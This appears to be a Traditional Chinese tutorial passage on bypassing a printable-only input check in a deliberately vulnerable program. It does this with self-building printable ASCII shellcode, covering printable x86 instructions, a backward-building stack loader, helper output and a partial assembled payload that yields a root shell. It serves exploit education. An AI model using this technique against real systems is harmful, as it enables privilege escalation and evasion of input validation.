有時程式會對緩衝區施加限制。這種資料健全性檢查能防止許多弱點。

一個做了防護的脆弱程式#

update_info.c 假裝更新產品描述,卻仍有明顯弱點。它做了一些防護:

if(strlen(id) > MAX_ID_LEN)   // 限制產品 ID 長度
   barf(...);
for(i=0; i < strlen(desc)-1; i++) // desc 只允許可列印位元組
   if(!(isprint(desc[i])))
      barf("Fatal: description argument can only contain printable bytes\n", NULL);
// 清除未用的環境變數與程式引數(安全考量)

儘管做了防護,程式仍可被利用:返回位址能用第一個引數(id)覆寫,但唯一能放 shellcode 的地方是第二個引數(desc——而這個緩衝區被檢查是否含非可列印位元組,環境變數與其他引數也被清空了。

用除錯器確認:若能把 shellcode 放進 desc,程式確實可被利用(EIP 被控制到 desc 位址)。

可列印輸入驗證是唯一擋住利用的東西。像機場安檢,這個驗證迴圈檢查每個進來的東西——雖然無法避開這個檢查,但有辦法把違禁資料偷渡過守衛

多型可列印 ASCII shellcode#

多型(polymorphic)shellcode 指任何會改變自身的 shellcode。目標是寫出能通過可列印字元檢查的 shellcode。

用如此受限的指令集寫複雜 shellcode 太自虐了。所以可列印 shellcode 改用簡單方法在堆疊上建構更複雜的 shellcode——可列印 shellcode 其實是「製造真正 shellcode 的指令」。

可列印指令的軍火庫#

XOR 各暫存器不落在可列印範圍,但 AND EAX 組譯成 %

and eax, 0x454e4f4a   ; 組譯成 %JONE
and eax, 0x3a313035   ; 組譯成 %501:

其他可列印指令:

指令ASCII
sub eax, 0x41414141-AAAA
push eaxP
pop eaxX
push espT
pop esp\

載入器策略:由後往前建構#

一般策略:先把 ESP 設到執行中的載入器程式碼之後(較高記憶體位址),再藉由 push 值到堆疊,由尾到頭建構 shellcode。堆疊向上長(往較低位址),所以 ESP 隨 push 往回移、EIP 隨載入器執行往前走,最終兩者相遇,EIP 便繼續執行進剛建好的 shellcode。

圖 0x600-1:可列印載入器由後往前建構 shellcode,EIP 前進、ESP 後退直到相遇

由後往前建構 shellcode 的細節

第一步:把 ESP 移到載入器之後。 取得控制後 ESP 在溢位緩衝區起點前 555 位元組,需把 ESP 往後移、又留空間給新 shellcode(約 300 位元組)。只有減法可用,所以「加 860」用「減到回繞」模擬——分成三個可列印運算元的減法:

push esp / pop eax             ; ESP → EAX(因 sub esp 不可列印)
sub eax,0x39393333             ; -3399
sub eax,0x72727550             ; -Purr
sub eax,0x54545421             ; -!TTT
push eax / pop esp             ; EAX → ESP,等效 ESP += 860

第二步:由尾到頭 push 每四位元組。 先清零 EAX,再用 sub 把 EAX 回繞到 shellcode 最後四位元組(反序),push;重複直到整段 shellcode 建好。附的 printable_helper.c 程式計算所需的可列印減法值:

reader@hacking:~/booksrc $ ./printable_helper 0 0x80cde189
start: 0x00000000
     - 0x346d6d25
     - 0x256d6d25
     - 0x2557442d
end:   0x80cde189

第三步:橋接 NOP sled。 建完 shellcode 後,載入器與 shellcode 之間可能有縫隙。把 EAX 設成 0x90909090 反覆 push——每次 push 在 shellcode 開頭接上四個 NOP,最終這些 NOP 蓋過執行中的 push 指令,讓 EIP 滑過 sled 進 shellcode。

組譯結果是一段既可列印、又是可執行機器碼的字串:

TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-...PPPPPPPP

用它就能把真正的 shellcode 偷渡過 update_info 的輸入驗證,取得 root shell。

由於可列印 shellcode依 ESP 計算自己的位置,堆疊位址稍微改變(返回位址跟著變)也不影響它——這給了它極大的通用性。

可列印 shellcode 是一種能打開某些門的技術。它與我們討論過的所有技術,都只是能以無數方式組合的積木——要運用它們,得靠你自己的一點巧思。聰明點,用他們自己的規則打敗他們。